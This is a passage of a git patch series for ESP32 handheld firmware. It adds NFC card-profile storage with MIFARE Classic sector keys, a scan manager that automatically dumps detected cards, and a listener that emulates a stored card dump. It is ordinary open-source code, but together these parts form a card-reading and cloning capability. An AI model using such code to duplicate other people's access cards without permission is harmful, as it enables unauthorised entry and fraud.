MFC_EMU_MAX_BLOCKS * MFC_EMU_BLOCK_SIZE) + +static bool s_initialized = false; + +static size_t serialize_card(const mfc_emu_card_data_t* card, uint8_t* buf, size_t buf_max) +{ + size_t pos = 0; + + if (buf_max < SERIALIZE_HEADER_SIZE) return 0; + + buf[pos++] = card->uid_len; + memcpy(&buf[pos], card->uid, 10); pos += 10; + memcpy(&buf[pos], card->atqa, 2); pos += 2; + buf[pos++] = card->sak; + buf[pos++] = (uint8_t)card->type; + buf[pos++] = (uint8_t)(card->sector_count & 0xFF); + buf[pos++] = (uint8_t)((card->sector_count >> 8) & 0xFF); + buf[pos++] = (uint8_t)(card->total_blocks & 0xFF); + buf[pos++] = (uint8_t)((card->total_blocks >> 8) & 0xFF); + + for (int s = 0; s < card->sector_count && s < MFC_EMU_MAX_SECTORS; s++) { + if (pos + SERIALIZE_KEY_SIZE > buf_max) return 0; + memcpy(&buf[pos], card->keys[s].key_a, 6); pos += 6; + memcpy(&buf[pos], card->keys[s].key_b, 6); pos += 6; + buf[pos++] = card->keys[s].key_a_known ? 1 : 0; + buf[pos++] = card->keys[s].key_b_known ? 1 : 0; + } + + for (int b = 0; b < card->total_blocks && b < MFC_EMU_MAX_BLOCKS; b++) { + if (pos + MFC_EMU_BLOCK_SIZE > buf_max) return 0; + memcpy(&buf[pos], card->blocks[b], MFC_EMU_BLOCK_SIZE); + pos += MFC_EMU_BLOCK_SIZE; + } + + return pos; +} + +static bool deserialize_card(const uint8_t* buf, size_t len, mfc_emu_card_data_t* card) +{ + if (len < SERIALIZE_HEADER_SIZE) return false; + + memset(card, 0, sizeof(*card)); + size_t pos = 0; + + card->uid_len = buf[pos++]; + if (card->uid_len > 10) return false; + memcpy(card->uid, &buf[pos], 10); pos += 10; + memcpy(card->atqa, &buf[pos], 2); pos += 2; + card->sak = buf[pos++]; + card->type = (mf_classic_type_t)buf[pos++]; + card->sector_count = buf[pos] | (buf[pos+1] << 8); pos += 2; + card->total_blocks = buf[pos] | (buf[pos+1] << 8); pos += 2; + + if (card->sector_count > MFC_EMU_MAX_SECTORS) return false; + if (card->total_blocks > MFC_EMU_MAX_BLOCKS) return false; + + for (int s = 0; s < card->sector_count; s++) { + if (pos + SERIALIZE_KEY_SIZE > len) return false; + memcpy(card->keys[s].key_a, &buf[pos], 6); pos += 6; + memcpy(card->keys[s].key_b, &buf[pos], 6); pos += 6; + card->keys[s].key_a_known = (buf[pos++] != 0); + card->keys[s].key_b_known = (buf[pos++] != 0); + } + + for (int b = 0; b < card->total_blocks; b++) { + if (pos + MFC_EMU_BLOCK_SIZE > len) return false; + memcpy(card->blocks[b], &buf[pos], MFC_EMU_BLOCK_SIZE); + pos += MFC_EMU_BLOCK_SIZE; + } + + return true; +} + +static nvs_handle_t open_nvs(nvs_open_mode_t mode) +{ + nvs_handle_t handle = 0; + esp_err_t err = nvs_open(NFC_DEVICE_NVS_NAMESPACE, mode, &handle); + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS open failed: %s", esp_err_to_name(err)); + return 0; + } + return handle; +} + +hb_nfc_err_t nfc_device_init(void) +{ + esp_err_t err = nvs_flash_init(); + if (err == ESP_ERR_NVS_NO_FREE_PAGES || err == ESP_ERR_NVS_NEW_VERSION_FOUND) { + ESP_LOGW(TAG, "NVS full or version mismatch erasing..."); + nvs_flash_erase(); + err = nvs_flash_init(); + } + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS init failed: %s", esp_err_to_name(err)); + return HB_NFC_ERR_INTERNAL; + } + + mf_key_dict_init(); + mf_key_cache_init(); + nfc_store_init(); + + s_initialized = true; + ESP_LOGI(TAG, "NFC device storage initialized (%d profiles max)", + NFC_DEVICE_MAX_PROFILES); + return HB_NFC_OK; +} + +hb_nfc_err_t nfc_device_save(const char* name, const mfc_emu_card_data_t* card) +{ + if (!s_initialized || !name || !card) return HB_NFC_ERR_PARAM; + + nvs_handle_t nvs = open_nvs(NVS_READWRITE); + if (!nvs) return HB_NFC_ERR_INTERNAL; + + uint8_t count = 0; + nvs_get_u8(nvs, "count", &count); + + int slot = -1; + for (int i = 0; i < count && i < NFC_DEVICE_MAX_PROFILES; i++) { + char key[16]; + snprintf(key, sizeof(key), "name_%d", i); + char existing[NFC_DEVICE_NAME_MAX_LEN] = { 0 }; + size_t len = sizeof(existing); + if (nvs_get_str(nvs, key, existing, &len) == ESP_OK) { + if (strcmp(existing, name) == 0) { + slot = i; + break; + } + } + } + + if (slot < 0) { + if (count >= NFC_DEVICE_MAX_PROFILES) { + ESP_LOGW(TAG, "Max profiles reached (%d)", NFC_DEVICE_MAX_PROFILES); + nvs_close(nvs); + return HB_NFC_ERR_INTERNAL; + } + slot = count; + count++; + } + + static uint8_t buf[SERIALIZE_MAX_SIZE]; + size_t data_len = serialize_card(card, buf, sizeof(buf)); + if (data_len == 0) { + nvs_close(nvs); + return HB_NFC_ERR_INTERNAL; + } + + char key[16]; + snprintf(key, sizeof(key), "name_%d", slot); + esp_err_t err = nvs_set_str(nvs, key, name); + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS set name failed: %s", esp_err_to_name(err)); + nvs_close(nvs); + return HB_NFC_ERR_INTERNAL; + } + + snprintf(key, sizeof(key), "data_%d", slot); + err = nvs_set_blob(nvs, key, buf, data_len); + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS set data failed: %s", esp_err_to_name(err)); + nvs_close(nvs); + return HB_NFC_ERR_INTERNAL; + } + + nvs_set_u8(nvs, "count", count); + + err = nvs_commit(nvs); + nvs_close(nvs); + + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS commit failed: %s", esp_err_to_name(err)); + return HB_NFC_ERR_INTERNAL; + } + + ESP_LOGI(TAG, "Profile '%s' saved (slot %d, %zu bytes)", name, slot, data_len); + return HB_NFC_OK; +} + +hb_nfc_err_t nfc_device_load(int index, mfc_emu_card_data_t* card) +{ + if (!s_initialized || !card) return HB_NFC_ERR_PARAM; + + nvs_handle_t nvs = open_nvs(NVS_READONLY); + if (!nvs) return HB_NFC_ERR_INTERNAL; + + uint8_t count = 0; + nvs_get_u8(nvs, "count", &count); + if (index < 0 || index >= count) { + nvs_close(nvs); + return HB_NFC_ERR_PARAM; + } + + char key[16]; + snprintf(key, sizeof(key), "data_%d", index); + + static uint8_t buf[SERIALIZE_MAX_SIZE]; + size_t len = sizeof(buf); + esp_err_t err = nvs_get_blob(nvs, key, buf, &len); + nvs_close(nvs); + + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS load failed: %s", esp_err_to_name(err)); + return HB_NFC_ERR_INTERNAL; + } + + if (!deserialize_card(buf, len, card)) { + ESP_LOGE(TAG, "Deserialization failed"); + return HB_NFC_ERR_INTERNAL; + } + + ESP_LOGI(TAG, "Profile %d loaded (%zu bytes, UID=%02X%02X%02X%02X)", + index, len, card->uid[0], card->uid[1], card->uid[2], card->uid[3]); + return HB_NFC_OK; +} + +hb_nfc_err_t nfc_device_load_by_name(const char* name, mfc_emu_card_data_t* card) +{ + if (!s_initialized || !name || !card) return HB_NFC_ERR_PARAM; + + nvs_handle_t nvs = open_nvs(NVS_READONLY); + if (!nvs) return HB_NFC_ERR_INTERNAL; + + uint8_t count = 0; + nvs_get_u8(nvs, "count", &count); + + for (int i = 0; i < count && i < NFC_DEVICE_MAX_PROFILES; i++) { + char key[16]; + snprintf(key, sizeof(key), "name_%d", i); + char existing[NFC_DEVICE_NAME_MAX_LEN] = { 0 }; + size_t len = sizeof(existing); + if (nvs_get_str(nvs, key, existing, &len) == ESP_OK) { + if (strcmp(existing, name) == 0) { + nvs_close(nvs); + return nfc_device_load(i, card); + } + } + } + + nvs_close(nvs); + return HB_NFC_ERR_PARAM; +} + +hb_nfc_err_t nfc_device_delete(int index) +{ + if (!s_initialized) return HB_NFC_ERR_PARAM; + + nvs_handle_t nvs = open_nvs(NVS_READWRITE); + if (!nvs) return HB_NFC_ERR_INTERNAL; + + uint8_t count = 0; + nvs_get_u8(nvs, "count", &count); + if (index < 0 || index >= count) { + nvs_close(nvs); + return HB_NFC_ERR_PARAM; + } + + for (int i = index; i < count - 1; i++) { + char src_key[16], dst_key[16]; + + snprintf(src_key, sizeof(src_key), "name_%d", i + 1); + snprintf(dst_key, sizeof(dst_key), "name_%d", i); + char name_buf[NFC_DEVICE_NAME_MAX_LEN] = { 0 }; + size_t name_len = sizeof(name_buf); + if (nvs_get_str(nvs, src_key, name_buf, &name_len) == ESP_OK) { + nvs_set_str(nvs, dst_key, name_buf); + } + + snprintf(src_key, sizeof(src_key), "data_%d", i + 1); + snprintf(dst_key, sizeof(dst_key), "data_%d", i); + static uint8_t blob[SERIALIZE_MAX_SIZE]; + size_t blob_len = sizeof(blob); + if (nvs_get_blob(nvs, src_key, blob, &blob_len) == ESP_OK) { + nvs_set_blob(nvs, dst_key, blob, blob_len); + } + } + + char key[16]; + snprintf(key, sizeof(key), "name_%d", count - 1); + nvs_erase_key(nvs, key); + snprintf(key, sizeof(key), "data_%d", count - 1); + nvs_erase_key(nvs, key); + + count--; + nvs_set_u8(nvs, "count", count); + nvs_commit(nvs); + nvs_close(nvs); + + ESP_LOGI(TAG, "Profile %d deleted, %d remaining", index, count); + return HB_NFC_OK; +} + +int nfc_device_get_count(void) +{ + if (!s_initialized) return 0; + + nvs_handle_t nvs = open_nvs(NVS_READONLY); + if (!nvs) return 0; + + uint8_t count = 0; + nvs_get_u8(nvs, "count", &count); + nvs_close(nvs); + return (int)count; +} + +hb_nfc_err_t nfc_device_get_info(int index, nfc_device_profile_info_t* info) +{ + if (!s_initialized || !info) return HB_NFC_ERR_PARAM; + + nvs_handle_t nvs = open_nvs(NVS_READONLY); + if (!nvs) return HB_NFC_ERR_INTERNAL; + + uint8_t count = 0; + nvs_get_u8(nvs, "count", &count); + if (index < 0 || index >= count) { + nvs_close(nvs); + return HB_NFC_ERR_PARAM; + } + + memset(info, 0, sizeof(*info)); + + char key[16]; + snprintf(key, sizeof(key), "name_%d", index); + size_t name_len = sizeof(info->name); + nvs_get_str(nvs, key, info->name, &name_len); + + snprintf(key, sizeof(key), "data_%d", index); + uint8_t header[SERIALIZE_HEADER_SIZE]; + size_t len = sizeof(header); + esp_err_t err = nvs_get_blob(nvs, key, header, &len); + nvs_close(nvs); + + if (err != ESP_OK || len < SERIALIZE_HEADER_SIZE) { + return HB_NFC_ERR_INTERNAL; + } + + info->uid_len = header[0]; + memcpy(info->uid, &header[1], 10); + info->sak = header[13]; + info->type = (mf_classic_type_t)header[14]; + info->sector_count = header[15] | (header[16] << 8); + + mfc_emu_card_data_t card; + if (nfc_device_load(index, &card) == HB_NFC_OK) { + info->keys_known = 0; + info->complete = true; + for (int s = 0; s < card.sector_count; s++) { + if (card.keys[s].key_a_known) info->keys_known++; + if (card.keys[s].key_b_known) info->keys_known++; + if (!card.keys[s].key_a_known && !card.keys[s].key_b_known) { + info->complete = false; + } + } + } + + return HB_NFC_OK; +} + +int nfc_device_list(nfc_device_profile_info_t* infos, int max_count) +{ + int count = nfc_device_get_count(); + if (count > max_count) count = max_count; + + for (int i = 0; i < count; i++) { + nfc_device_get_info(i, &infos[i]); + } + return count; +} + +hb_nfc_err_t nfc_device_set_active(int index) +{ + if (!s_initialized) return HB_NFC_ERR_PARAM; + + nvs_handle_t nvs = open_nvs(NVS_READWRITE); + if (!nvs) return HB_NFC_ERR_INTERNAL; + + nvs_set_u8(nvs, "active", (uint8_t)index); + nvs_commit(nvs); + nvs_close(nvs); + return HB_NFC_OK; +} + +int nfc_device_get_active(void) +{ + if (!s_initialized) return -1; + + nvs_handle_t nvs = open_nvs(NVS_READONLY); + if (!nvs) return -1; + + uint8_t active = 0xFF; + nvs_get_u8(nvs, "active", &active); + nvs_close(nvs); + + return (active == 0xFF) ? -1 : (int)active; +} + +hb_nfc_err_t nfc_device_save_generic(const char* name, const hb_nfc_card_data_t* card) +{ + (void)name; (void)card; + return HB_NFC_ERR_INTERNAL; /* deferred — nfc_store not yet implemented */ +} + +hb_nfc_err_t nfc_device_load_generic(const char* name, hb_nfc_card_data_t* card) +{ + (void)name; (void)card; + return HB_NFC_ERR_NOT_FOUND; /* deferred — nfc_store not yet implemented */ +} + +const char* nfc_device_protocol_name(hb_nfc_protocol_t proto) +{ + switch (proto) { + case HB_PROTO_ISO14443_3A: return "ISO14443-3A"; + case HB_PROTO_ISO14443_3B: return "ISO14443-3B"; + case HB_PROTO_ISO14443_4A: return "ISO14443-4A (ISO-DEP)"; + case HB_PROTO_ISO14443_4B: return "ISO14443-4B"; + case HB_PROTO_FELICA: return "FeliCa"; + case HB_PROTO_ISO15693: return "ISO15693 (NFC-V)"; + case HB_PROTO_ST25TB: return "ST25TB"; + case HB_PROTO_MF_CLASSIC: return "MIFARE Classic"; + case HB_PROTO_MF_ULTRALIGHT: return "MIFARE Ultralight/NTAG"; + case HB_PROTO_MF_DESFIRE: return "MIFARE DESFire"; + case HB_PROTO_MF_PLUS: return "MIFARE Plus"; + case HB_PROTO_SLIX: return "SLIX"; + default: return "Unknown"; + } +} From 0a0c8299cd16b75d73c716177f9973d75a4ad067 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:18:51 -0300 Subject: [PATCH 47/61] feat(nfc): add NFC debug logging utility --- .../Applications/nfc/include/nfc_debug.h | 15 +++++++++++ .../components/Applications/nfc/nfc_debug.c | 26 +++++++++++++++++++ 2 files changed, 41 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/include/nfc_debug.h create mode 100644 firmware_p4/components/Applications/nfc/nfc_debug.c diff --git a/firmware_p4/components/Applications/nfc/include/nfc_debug.h b/firmware_p4/components/Applications/nfc/include/nfc_debug.h new file mode 100644 index 00000000..37064f48 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/include/nfc_debug.h @@ -0,0 +1,15 @@ +/** + * @file nfc_debug.h + * @brief NFC Debug tools CW, register dump, AAT sweep. + */ +#ifndef NFC_DEBUG_H +#define NFC_DEBUG_H + +#include "highboy_nfc_error.h" + +hb_nfc_err_t nfc_debug_cw_on(void); +void nfc_debug_cw_off(void); +void nfc_debug_dump_regs(void); +hb_nfc_err_t nfc_debug_aat_sweep(void); + +#endif diff --git a/firmware_p4/components/Applications/nfc/nfc_debug.c b/firmware_p4/components/Applications/nfc/nfc_debug.c new file mode 100644 index 00000000..1c8dc1e7 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/nfc_debug.c @@ -0,0 +1,26 @@ +#include "nfc_debug.h" +#include "st25r3916_core.h" +#include "st25r3916_reg.h" +#include "st25r3916_aat.h" +#include "hb_nfc_spi.h" + +hb_nfc_err_t nfc_debug_cw_on(void) +{ + return st25r_field_on(); +} + +void nfc_debug_cw_off(void) +{ + st25r_field_off(); +} + +void nfc_debug_dump_regs(void) +{ + st25r_dump_regs(); +} + +hb_nfc_err_t nfc_debug_aat_sweep(void) +{ + st25r_aat_result_t result; + return st25r_aat_calibrate(&result); +} From 54ecb61da8532b5a0094f1b5bdb65c1610ea5018 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:19:31 -0300 Subject: [PATCH 48/61] feat(nfc): add card storage --- .../Applications/nfc/include/nfc_store.h | 87 +++++++++++++++++++ .../components/Applications/nfc/nfc_store.c | 38 ++++++++ 2 files changed, 125 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/include/nfc_store.h create mode 100644 firmware_p4/components/Applications/nfc/nfc_store.c diff --git a/firmware_p4/components/Applications/nfc/include/nfc_store.h b/firmware_p4/components/Applications/nfc/include/nfc_store.h new file mode 100644 index 00000000..ce45e928 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/include/nfc_store.h @@ -0,0 +1,87 @@ +#ifndef NFC_STORE_H +#define NFC_STORE_H + +#include +#include +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Generic NFC card dump storage — protocol-agnostic NVS persistence. + * + * NVS namespace: "nfc_store" + * "cnt" u8 — number of stored entries + * "n_N" string — entry N name + * "p_N" u8 — entry N protocol (hb_nfc_protocol_t) + * "u_N" blob — entry N UID (uid_len bytes) + * "a_N" blob — entry N ATQA (2 bytes) + SAK (1 byte) + * "d_N" blob — entry N payload (protocol-specific dump) + * + * Payload formats: + * HB_PROTO_MF_ULTRALIGHT: [version:8][page_count:2LE][pages: page_count*4] + * HB_PROTO_ISO15693: [dsfid:1][block_size:1][block_count:2LE][blocks...] + * Others: raw blob (e.g., ATS, or just uid/atqa for reference) + */ + +#define NFC_STORE_MAX_ENTRIES 16 +#define NFC_STORE_NAME_MAX 32 +#define NFC_STORE_PAYLOAD_MAX 2048 + +typedef struct { + char name[NFC_STORE_NAME_MAX]; + hb_nfc_protocol_t protocol; + uint8_t uid[10]; + uint8_t uid_len; + uint8_t atqa[2]; + uint8_t sak; + size_t payload_len; + uint8_t payload[NFC_STORE_PAYLOAD_MAX]; +} nfc_store_entry_t; + +/* Light info struct — no payload, for listing */ +typedef struct { + char name[NFC_STORE_NAME_MAX]; + hb_nfc_protocol_t protocol; + uint8_t uid[10]; + uint8_t uid_len; +} nfc_store_info_t; + +void nfc_store_init(void); +int nfc_store_count(void); +hb_nfc_err_t nfc_store_save(const char* name, + hb_nfc_protocol_t protocol, + const uint8_t* uid, + uint8_t uid_len, + const uint8_t atqa[2], + uint8_t sak, + const uint8_t* payload, + size_t payload_len); +hb_nfc_err_t nfc_store_load(int index, nfc_store_entry_t* out); +hb_nfc_err_t nfc_store_get_info(int index, nfc_store_info_t* out); +int nfc_store_list(nfc_store_info_t* infos, int max); +hb_nfc_err_t nfc_store_delete(int index); +hb_nfc_err_t nfc_store_find_by_uid(const uint8_t* uid, uint8_t uid_len, int* index_out); + +/* Convenience: build NTAG/Ultralight payload from version + pages */ +size_t nfc_store_pack_mful(const uint8_t version[8], + const uint8_t* pages, + uint16_t page_count, + uint8_t* out, + size_t out_max); + +/* Convenience: unpack NTAG/Ultralight payload */ +bool nfc_store_unpack_mful(const uint8_t* payload, + size_t payload_len, + uint8_t version_out[8], + uint8_t* pages_out, + uint16_t* page_count_out, + uint16_t pages_out_max); + +#ifdef __cplusplus +} +#endif +#endif /* NFC_STORE_H */ diff --git a/firmware_p4/components/Applications/nfc/nfc_store.c b/firmware_p4/components/Applications/nfc/nfc_store.c new file mode 100644 index 00000000..af7ddc6f --- /dev/null +++ b/firmware_p4/components/Applications/nfc/nfc_store.c @@ -0,0 +1,38 @@ +#include "nfc_store.h" + +/* Storage stub — full NVS/SD implementation deferred. */ + +void nfc_store_init(void) { } +int nfc_store_count(void) { return 0; } +hb_nfc_err_t nfc_store_save(const char* n, hb_nfc_protocol_t p, + const uint8_t* uid, uint8_t uid_len, + const uint8_t atqa[2], uint8_t sak, + const uint8_t* payload, size_t len) +{ + (void)n; (void)p; (void)uid; (void)uid_len; + (void)atqa; (void)sak; (void)payload; (void)len; + return HB_NFC_ERR_INTERNAL; +} +hb_nfc_err_t nfc_store_load(int i, nfc_store_entry_t* o) { (void)i; (void)o; return HB_NFC_ERR_NOT_FOUND; } +hb_nfc_err_t nfc_store_get_info(int i, nfc_store_info_t* o) { (void)i; (void)o; return HB_NFC_ERR_NOT_FOUND; } +int nfc_store_list(nfc_store_info_t* infos, int max) { (void)infos; (void)max; return 0; } +hb_nfc_err_t nfc_store_delete(int i) { (void)i; return HB_NFC_ERR_NOT_FOUND; } +hb_nfc_err_t nfc_store_find_by_uid(const uint8_t* uid, uint8_t len, + int* out) +{ + (void)uid; (void)len; (void)out; + return HB_NFC_ERR_NOT_FOUND; +} +size_t nfc_store_pack_mful(const uint8_t v[8], const uint8_t* pg, + uint16_t cnt, uint8_t* out, size_t max) +{ + (void)v; (void)pg; (void)cnt; (void)out; (void)max; + return 0; +} +bool nfc_store_unpack_mful(const uint8_t* pl, size_t len, + uint8_t v[8], uint8_t* pg, + uint16_t* cnt, uint16_t max) +{ + (void)pl; (void)len; (void)v; (void)pg; (void)cnt; (void)max; + return false; +} From c98cfa7a08c0f082a1b13a076843899be4ca91a7 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:19:42 -0300 Subject: [PATCH 49/61] feat(nfc): add emulation listener with passive target mode --- .../Applications/nfc/include/nfc_listener.h | 22 +++++ .../Applications/nfc/nfc_listener.c | 84 +++++++++++++++++++ 2 files changed, 106 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/include/nfc_listener.h create mode 100644 firmware_p4/components/Applications/nfc/nfc_listener.c diff --git a/firmware_p4/components/Applications/nfc/include/nfc_listener.h b/firmware_p4/components/Applications/nfc/include/nfc_listener.h new file mode 100644 index 00000000..e6dd500a --- /dev/null +++ b/firmware_p4/components/Applications/nfc/include/nfc_listener.h @@ -0,0 +1,22 @@ +/** + * @file nfc_listener.h + * @brief NFC Listener card emulation control (Phase 9). + */ +#ifndef NFC_LISTENER_H +#define NFC_LISTENER_H + +#include "highboy_nfc_error.h" +#include "highboy_nfc_types.h" +#include "mf_classic_emu.h" + +hb_nfc_err_t nfc_listener_start(const hb_nfc_card_data_t* card); + +/** + * Start emulation from a pre-loaded dump (blocks + keys already filled). + * Use this after mf_classic_read_full() has populated the mfc_emu_card_data_t. + */ +hb_nfc_err_t nfc_listener_start_emu(const mfc_emu_card_data_t* emu); + +void nfc_listener_stop(void); + +#endif diff --git a/firmware_p4/components/Applications/nfc/nfc_listener.c b/firmware_p4/components/Applications/nfc/nfc_listener.c new file mode 100644 index 00000000..4849a560 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/nfc_listener.c @@ -0,0 +1,84 @@ +#include +#include "nfc_listener.h" +#include "nfc_device.h" +#include "mf_classic.h" +#include "mf_classic_emu.h" +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +static const char* TAG = "nfc_emu"; + +static TaskHandle_t s_emu_task = NULL; +static volatile bool s_emu_running = false; + +/* Emulation loop — mfc_emu_run_step() handles every AUTH/READ/WRITE/VALUE + * command from the reader. Hardware (PT memory) covers REQA/anticollision/SELECT. + * taskYIELD() lets other tasks run without adding the ~10 ms latency that + * vTaskDelay(1) would introduce at the default 100 Hz tick rate. */ +static void nfc_listener_task(void* arg) +{ + (void)arg; + ESP_LOGI(TAG, "emulation loop started"); + while (s_emu_running) { + mfc_emu_run_step(); + taskYIELD(); + } + ESP_LOGI(TAG, "emulation loop stopped"); + s_emu_task = NULL; + vTaskDelete(NULL); +} + +static hb_nfc_err_t start_emu_task(void) +{ + s_emu_running = true; + BaseType_t rc = xTaskCreate(nfc_listener_task, "nfc_emu", 4096, + NULL, 6, &s_emu_task); + return (rc == pdPASS) ? HB_NFC_OK : HB_NFC_ERR_INTERNAL; +} + +hb_nfc_err_t nfc_listener_start(const hb_nfc_card_data_t* card) +{ + static mfc_emu_card_data_t emu; + memset(&emu, 0, sizeof(emu)); + hb_nfc_err_t err; + + if (card && card->protocol == HB_PROTO_MF_CLASSIC) { + mf_classic_type_t type = mf_classic_get_type(card->iso14443a.sak); + mfc_emu_card_data_init(&emu, &card->iso14443a, type); + err = mfc_emu_init(&emu); + } else { + int idx = nfc_device_get_active(); + if (idx < 0) return HB_NFC_ERR_PARAM; + err = nfc_device_load(idx, &emu); + if (err != HB_NFC_OK) return err; + err = mfc_emu_init(&emu); + } + + if (err != HB_NFC_OK) return err; + err = mfc_emu_configure_target(); + if (err != HB_NFC_OK) return err; + err = mfc_emu_start(); + if (err != HB_NFC_OK) return err; + return start_emu_task(); +} + +hb_nfc_err_t nfc_listener_start_emu(const mfc_emu_card_data_t* emu) +{ + hb_nfc_err_t err = mfc_emu_init(emu); + if (err != HB_NFC_OK) return err; + err = mfc_emu_configure_target(); + if (err != HB_NFC_OK) return err; + err = mfc_emu_start(); + if (err != HB_NFC_OK) return err; + return start_emu_task(); +} + +void nfc_listener_stop(void) +{ + s_emu_running = false; + while (s_emu_task != NULL) { + vTaskDelay(pdMS_TO_TICKS(10)); + } + mfc_emu_stop(); +} From 2e54ddef402d5c8a6f1069191887c60ca076b324 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:20:00 -0300 Subject: [PATCH 50/61] feat(nfc): add scan manager with FreeRTOS task --- .../Applications/nfc/include/nfc_manager.h | 35 ++++++ .../components/Applications/nfc/nfc_manager.c | 116 ++++++++++++++++++ 2 files changed, 151 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/include/nfc_manager.h create mode 100644 firmware_p4/components/Applications/nfc/nfc_manager.c diff --git a/firmware_p4/components/Applications/nfc/include/nfc_manager.h b/firmware_p4/components/Applications/nfc/include/nfc_manager.h new file mode 100644 index 00000000..6da2d304 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/include/nfc_manager.h @@ -0,0 +1,35 @@ +/** + * @file nfc_manager.h + * @brief NFC Manager high-level FSM + FreeRTOS task. + * + * Coordinates scan detect read action pipeline. + */ +#ifndef NFC_MANAGER_H +#define NFC_MANAGER_H + +#include "highboy_nfc.h" +#include "highboy_nfc_types.h" + +typedef enum { + NFC_STATE_IDLE = 0, + NFC_STATE_SCANNING, + NFC_STATE_READING, + NFC_STATE_EMULATING, + NFC_STATE_ERROR, +} nfc_state_t; + +typedef void (*nfc_card_found_cb_t)(const hb_nfc_card_data_t* card, void* ctx); + +/** + * Start the NFC manager scan task. + * Hardware must be pre-initialized with highboy_nfc_init(). + */ +hb_nfc_err_t nfc_manager_start(nfc_card_found_cb_t cb, void* ctx); + +/** Stop the NFC manager. */ +void nfc_manager_stop(void); + +/** Get current state. */ +nfc_state_t nfc_manager_get_state(void); + +#endif diff --git a/firmware_p4/components/Applications/nfc/nfc_manager.c b/firmware_p4/components/Applications/nfc/nfc_manager.c new file mode 100644 index 00000000..79478fc1 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/nfc_manager.c @@ -0,0 +1,116 @@ +#include "nfc_manager.h" +#include "nfc_reader.h" +#include "st25r3916_core.h" +#include "nfc_poller.h" +#include "poller.h" +#include "hb_nfc_timer.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +static struct { + nfc_state_t state; + nfc_card_found_cb_t cb; + void* ctx; + TaskHandle_t task; + bool running; +} s_mgr = { 0 }; + +static void nfc_manager_auto_handle(const hb_nfc_card_data_t* card) +{ + if (!card) return; + + switch (card->protocol) { + case HB_PROTO_MF_CLASSIC: + mf_classic_read_full((nfc_iso14443a_data_t*)&card->iso14443a); + break; + case HB_PROTO_MF_ULTRALIGHT: + mful_dump_card((nfc_iso14443a_data_t*)&card->iso14443a); + break; + case HB_PROTO_MF_PLUS: + mfp_probe_and_dump((nfc_iso14443a_data_t*)&card->iso14443a); + break; + case HB_PROTO_ISO14443_4A: + t4t_dump_ndef((nfc_iso14443a_data_t*)&card->iso14443a); + break; + default: + break; + } +} + +static void nfc_manager_task(void* arg) +{ + (void)arg; + s_mgr.state = NFC_STATE_SCANNING; + + while (s_mgr.running) { + nfc_iso14443a_data_t card = { 0 }; + hb_nfc_err_t err = iso14443a_poller_select(&card); + + if (err == HB_NFC_OK) { + s_mgr.state = NFC_STATE_READING; + + hb_nfc_card_data_t full = { 0 }; + full.protocol = HB_PROTO_ISO14443_3A; + full.iso14443a = card; + + if (card.sak == 0x00) { + full.protocol = HB_PROTO_MF_ULTRALIGHT; + } else if (card.sak == 0x08 || card.sak == 0x18 || + card.sak == 0x09 || card.sak == 0x88) { + full.protocol = HB_PROTO_MF_CLASSIC; + } else if (card.sak == 0x10 || card.sak == 0x11) { + /* MIFARE Plus SL2 — backward-compatible with MIFARE Classic */ + full.protocol = HB_PROTO_MF_CLASSIC; + } else if (card.sak == 0x20) { + /* ISO-DEP: could be DESFire, MIFARE Plus SL3, JCOP, etc. + * Route to MFP probe — it falls through to T4T if not MFP. */ + full.protocol = HB_PROTO_MF_PLUS; + } else if (card.sak & 0x20) { + full.protocol = HB_PROTO_ISO14443_4A; + } + + if (s_mgr.cb) { + s_mgr.cb(&full, s_mgr.ctx); + } else { + nfc_manager_auto_handle(&full); + } + + s_mgr.state = NFC_STATE_SCANNING; + } + + hb_delay_ms(100); + } + + s_mgr.state = NFC_STATE_IDLE; + s_mgr.task = NULL; + vTaskDelete(NULL); +} + +hb_nfc_err_t nfc_manager_start(nfc_card_found_cb_t cb, void* ctx) +{ + /* Hardware must already be initialized via highboy_nfc_init(). + * This function only applies the RF config and starts the scan task. */ + hb_nfc_err_t err = nfc_poller_start(); + if (err != HB_NFC_OK) return err; + + s_mgr.cb = cb; + s_mgr.ctx = ctx; + s_mgr.running = true; + + xTaskCreate(nfc_manager_task, "nfc_mgr", 8192, NULL, 5, &s_mgr.task); + return HB_NFC_OK; +} + +void nfc_manager_stop(void) +{ + s_mgr.running = false; + while (s_mgr.task != NULL) { + vTaskDelay(pdMS_TO_TICKS(10)); + } + /* Turn off field but keep SPI/GPIO alive so emulation can start next. */ + nfc_poller_stop(); +} + +nfc_state_t nfc_manager_get_state(void) +{ + return s_mgr.state; +} From 2a394614f164469f0da98e47c81317b040d8648d Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:20:12 -0300 Subject: [PATCH 51/61] feat(nfc): add emulation diagnostic tool --- .../components/Applications/nfc/emu_diag.c | 775 ++++++++++++++++++ .../Applications/nfc/include/emu_diag.h | 22 + 2 files changed, 797 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/emu_diag.c create mode 100644 